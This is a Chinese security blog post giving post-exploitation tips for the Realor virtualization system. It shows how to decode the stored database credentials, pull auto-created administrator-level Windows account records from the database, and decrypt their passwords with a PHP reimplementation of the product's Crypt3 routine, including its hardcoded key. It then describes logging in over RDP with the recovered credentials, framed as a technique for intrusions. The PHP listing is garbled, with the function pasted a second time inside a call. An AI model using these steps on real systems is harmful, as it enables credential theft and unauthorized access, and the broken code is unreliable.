Realor post-penetration tips

文章首发于土司论坛

前段时间看到互联网上公开了一个瑞友天翼虚拟化系统的sql注入,恰巧笔者在去年也审计过这套系统。本文主要是分享一下在审计过程中顺带发现的一些实用的后渗透小姿势,其中文中分享的姿势也是帮助笔者在好几次多人运动中取得了不错的战果,希望分享出来能够对师傅们有所帮助。

数据库文件解密

该系统默认数据库配置文件位于安装目录下Data/config/CasDbCnn.dat

image-20230801152354634

默认使用mysql,监听端口为5873,其中对连接数据库的用户名和密码进行了简单的编码

关于解码的代码可以在ConDB.XGI中找到

image-20230801152805973

解码很简单,将#替换为=后进行base64解码

image-20230801153110937

image-20230801153315503

NT凭证的获取

之前在肝这套系统时,发现在创建web用户时会默认给该账户分配一个具有管理员权限的系统账户

image-20230801154937091

其中添加的系统账户名为GWT+我们添加的web账户名,密码生成策略为GWT_+随机16位字符串。并将账户密码信息通过Crypt3加密并base64,最后通过AddNtUserToAllServer将要添加的系统账户同步给集群中的主机进行添加账户操作

image-20230801155443492

image-20230801162616679

添加完成后会将账户信息保存到CASSystemDS库中的cuser以及cuser_server表中

image-20230801155846197

其中pwdweb用户密码的md5,login_userlogin_pwd分别为经过Crypt3函数加密后的系统账户名和密码

同样在cuser_server表中也保存着系统凭证和web用户的对应关系

image-20230801160420787

当然,通常情况下可能目标机器上并不具备连接数据库的工具。其实用记事本等文本软件打开也是可以的

image-20230801162346306

值得注意的是,该系统在安装完成后会自动创建GWTAdmin,所以在实际利用时可优先考虑获取GWTAdmin的凭证

NT凭证的解密

获取了凭证信息,下面看下Crypt3函数具体的加密流程以及如何进行解密

关于Crypt3的实现可在ConsoleExternalApi.XGI中找到

image-20230801160720040

该函数具体加解密流程如下

首先函数接收两个参数

  • $s:要加密或解密的输入字符串。
  • $bEncrypt:一个布尔值,用于指示是加密还是解密操作。如果为true,则表示加密;如果为false,则表示解密。默认为true

返回值:经过加密或解密后的字符串

加密算法:

  1. 定义了$Key$SeedA$SeedB三个变量作为算法参数。
  2. 使用$Key$SeedA对输入字符串中的每个字符进行异或运算,并将结果保存在变量$a中。
  3. 将变量 $a 的值与十六进制数 0xFF 进行按位与运算,并将结果重新赋值给 $a。此步骤实现的效果就是将$a的低8位保留,丢弃高位。
  4. 将结果字符追加到$result中,形成最终的加密或解密结果。
  5. 如果$bEncrypttrue,即加密则更新$Key,使得下一个字符的加密使用新的$Key。更新方式为$Key = (($a + $Key) * $SeedA + $SeedB) & 0x0FFFFFFF
  6. 如果$bEncryptfalse,则在解密模式下,将使用原始输入字符串中的字符和当前$Key来更新$Key。更新方式为$Key = ((ord($s[$i]) + $Key) * $SeedA + $SeedB) & 0x0FFFFFFF

总体来看,该函数是基于简单的异或运算和迭代更新密钥来实现加密和解密功能

了解了加密流程后,我们知道只需要控制$bEncrypt的值就可以实现加解密操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
/*
true:加密
false:解密
*/
function Crypt3($s, $bEncrypt = true)
{
$result = "";
$Key = 3562;
$SeedA = 5891;
$SeedB = 5920;
$i = 0;
$a = 0;
for (; $i < strlen($s); ++$i) {
$a = ord($s[$i]) ^ (($Key >> 8) & 0x0FFFFFFF);
$a = $a & 0xFF;
$result = $result . chr($a);

if ($bEncrypt)
$Key = (($a + $Key) * $SeedA + $SeedB) & 0x0FFFFFFF;
else
$Key = ((ord($s[$i]) + $Key) * $SeedA + $SeedB) & 0x0FFFFFFF;
}
return $result;
}

echo Crypt3(base64_decode(<?php
/*
true:加密
false:解密
*/
function Crypt3($s, $bEncrypt = true)
{
$result = "";
$Key = 3562;
$SeedA = 5891;
$SeedB = 5920;
$i = 0;
$a = 0;
for (; $i < strlen($s); ++$i) {
$a = ord($s[$i]) ^ (($Key >> 8) & 0x0FFFFFFF);
$a = $a & 0xFF;
$result = $result . chr($a);

if ($bEncrypt)
$Key = (($a + $Key) * $SeedA + $SeedB) & 0x0FFFFFFF;
else
$Key = ((ord($s[$i]) + $Key) * $SeedA + $SeedB) & 0x0FFFFFFF;
}
return $result;
}

echo Crypt3(base64_decode("SprIrG9UGeX7xbZjbgDqbLBVn2s="),False);

image-20230801161900985

现在我们可以获取系统账户明文凭证信息了,如果目标对外开放了RDP,我们就可以使用获取的凭证信息进行登录了

image-20230801163124546

有描述不当的地方,还望师傅们斧正

彩蛋

关于系统账户的凭证信息其实是可以通过前台接口获取的,感兴趣的师傅可以研究一下